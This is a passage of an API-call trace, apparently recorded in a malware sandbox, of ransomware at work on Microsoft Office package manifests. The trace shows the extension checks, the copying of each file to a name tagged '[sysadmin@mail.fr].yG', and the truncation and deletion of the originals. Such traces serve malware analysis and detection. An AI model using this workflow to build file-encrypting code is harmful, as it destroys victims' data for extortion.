	[0049.079] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0049.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.079] lstrlenW (lpString=".jpg") returned 4
	[0049.079] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0049.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.079] lstrlenW (lpString=".doc") returned 4
	[0049.079] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0049.079] lstrlenW (lpString=".docx") returned 5
	[0049.079] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1
	[0049.079] lstrlenW (lpString=".pdf") returned 4
	[0049.079] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0049.079] lstrlenW (lpString=".xls") returned 4
	[0049.079] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0049.079] lstrlenW (lpString=".xlsx") returned 5
	[0049.079] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1
	[0049.079] lstrlenW (lpString=".ppt") returned 4
	[0049.079] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0049.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.079] lstrlenW (lpString=".zip") returned 4
	[0049.079] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0049.079] lstrlenW (lpString=".rar") returned 4
	[0049.079] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0049.079] lstrlenW (lpString=".bz2") returned 4
	[0049.079] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0049.079] lstrlenW (lpString=".7z") returned 3
	[0049.079] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0049.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.079] lstrlenW (lpString=".dbf") returned 4
	[0049.079] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0049.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.080] lstrlenW (lpString=".1cd") returned 4
	[0049.080] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0049.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0049.080] lstrlenW (lpString=".jpg") returned 4
	[0049.080] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0049.080] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.080] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53
	[0049.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0049.083] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=800867) returned 1
	[0049.083] CloseHandle (hObject=0x350) returned 1
	[0049.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0049.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0049.083] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.083] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0049.084] GetLastError () returned 0x0
	[0049.084] ReadFile (in: hFile=0x350, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xc3863, lpOverlapped=0x0) returned 1
	[0049.192] WriteFile (in: hFile=0x398, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xc3870, lpOverlapped=0x0) returned 1
	[0049.203] ReadFile (in: hFile=0x350, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.203] WriteFile (in: hFile=0x398, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.204] SetEndOfFile (hFile=0x398) returned 1
	[0049.204] CloseHandle (hObject=0x398) returned 1
	[0049.316] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.316] SetEndOfFile (hFile=0x350) returned 1
	[0049.322] CloseHandle (hObject=0x350) returned 1
	[0049.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1
	[0049.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.323] lstrlenW (lpString=".doc") returned 4
	[0049.323] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.323] lstrlenW (lpString=".docx") returned 5
	[0049.323] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.323] lstrlenW (lpString=".pdf") returned 4
	[0049.323] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.323] lstrlenW (lpString=".xls") returned 4
	[0049.323] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.323] lstrlenW (lpString=".xlsx") returned 5
	[0049.323] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.323] lstrlenW (lpString=".ppt") returned 4
	[0049.323] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.323] lstrlenW (lpString=".zip") returned 4
	[0049.323] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.323] lstrlenW (lpString=".rar") returned 4
	[0049.324] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.324] lstrlenW (lpString=".bz2") returned 4
	[0049.324] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.324] lstrlenW (lpString=".7z") returned 3
	[0049.324] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.324] lstrlenW (lpString=".dbf") returned 4
	[0049.324] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.324] lstrlenW (lpString=".1cd") returned 4
	[0049.324] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.324] lstrlenW (lpString=".jpg") returned 4
	[0049.324] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.324] lstrlenW (lpString=".doc") returned 4
	[0049.324] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.324] lstrlenW (lpString=".docx") returned 5
	[0049.324] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.324] lstrlenW (lpString=".pdf") returned 4
	[0049.324] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.324] lstrlenW (lpString=".xls") returned 4
	[0049.324] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.324] lstrlenW (lpString=".xlsx") returned 5
	[0049.324] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.325] lstrlenW (lpString=".ppt") returned 4
	[0049.325] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.325] lstrlenW (lpString=".zip") returned 4
	[0049.325] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.325] lstrlenW (lpString=".rar") returned 4
	[0049.325] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.325] lstrlenW (lpString=".bz2") returned 4
	[0049.325] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.325] lstrlenW (lpString=".7z") returned 3
	[0049.325] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.325] lstrlenW (lpString=".dbf") returned 4
	[0049.325] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.325] lstrlenW (lpString=".1cd") returned 4
	[0049.325] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0049.325] lstrlenW (lpString=".jpg") returned 4
	[0049.325] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.325] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.325] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53
	[0049.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0049.325] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=496513) returned 1
	[0049.325] CloseHandle (hObject=0x350) returned 1
	[0049.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0049.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0049.326] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.326] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0049.326] GetLastError () returned 0x0
	[0049.326] ReadFile (in: hFile=0x350, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x79381, lpOverlapped=0x0) returned 1
	[0049.394] WriteFile (in: hFile=0x398, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x79390, lpOverlapped=0x0) returned 1
	[0049.400] ReadFile (in: hFile=0x350, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.401] WriteFile (in: hFile=0x398, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.401] SetEndOfFile (hFile=0x398) returned 1
	[0049.401] CloseHandle (hObject=0x398) returned 1
	[0049.409] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.409] SetEndOfFile (hFile=0x350) returned 1
	[0049.412] CloseHandle (hObject=0x350) returned 1
	[0049.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1
	[0049.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.413] lstrlenW (lpString=".doc") returned 4
	[0049.413] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.413] lstrlenW (lpString=".docx") returned 5
	[0049.413] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.413] lstrlenW (lpString=".pdf") returned 4
	[0049.413] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.413] lstrlenW (lpString=".xls") returned 4
	[0049.413] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.413] lstrlenW (lpString=".xlsx") returned 5
	[0049.413] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.413] lstrlenW (lpString=".ppt") returned 4
	[0049.413] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.413] lstrlenW (lpString=".zip") returned 4
	[0049.413] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.413] lstrlenW (lpString=".rar") returned 4
	[0049.414] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString=".bz2") returned 4
	[0049.414] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString=".7z") returned 3
	[0049.414] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.414] lstrlenW (lpString=".dbf") returned 4
	[0049.414] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.414] lstrlenW (lpString=".1cd") returned 4
	[0049.414] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.414] lstrlenW (lpString=".jpg") returned 4
	[0049.414] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.414] lstrlenW (lpString=".doc") returned 4
	[0049.414] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString=".docx") returned 5
	[0049.414] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.414] lstrlenW (lpString=".pdf") returned 4
	[0049.414] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString=".xls") returned 4
	[0049.414] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString=".xlsx") returned 5
	[0049.414] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.414] lstrlenW (lpString=".ppt") returned 4
	[0049.414] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.414] lstrlenW (lpString=".zip") returned 4
	[0049.414] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.414] lstrlenW (lpString=".rar") returned 4
	[0049.414] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString=".bz2") returned 4
	[0049.414] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.414] lstrlenW (lpString=".7z") returned 3
	[0049.414] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.415] lstrlenW (lpString=".dbf") returned 4
	[0049.415] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.415] lstrlenW (lpString=".1cd") returned 4
	[0049.415] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0049.415] lstrlenW (lpString=".jpg") returned 4
	[0049.415] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.415] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.415] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53
	[0049.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0049.425] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=253712) returned 1
	[0049.425] CloseHandle (hObject=0x394) returned 1
	[0049.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0049.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0049.425] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.425] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0049.425] GetLastError () returned 0x0
	[0049.425] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x3df10, lpOverlapped=0x0) returned 1
	[0049.489] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x3df20, lpOverlapped=0x0) returned 1
	[0049.494] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.494] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.494] SetEndOfFile (hFile=0x2e0) returned 1
	[0049.494] CloseHandle (hObject=0x2e0) returned 1
	[0049.500] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.500] SetEndOfFile (hFile=0x394) returned 1
	[0049.502] CloseHandle (hObject=0x394) returned 1
	[0049.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1
	[0049.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0049.504] lstrlenW (lpString=".doc") returned 4
	[0049.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.504] lstrlenW (lpString=".docx") returned 5
	[0049.504] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.504] lstrlenW (lpString=".pdf") returned 4
	[0049.504] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.504] lstrlenW (lpString=".xls") returned 4
	[0049.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
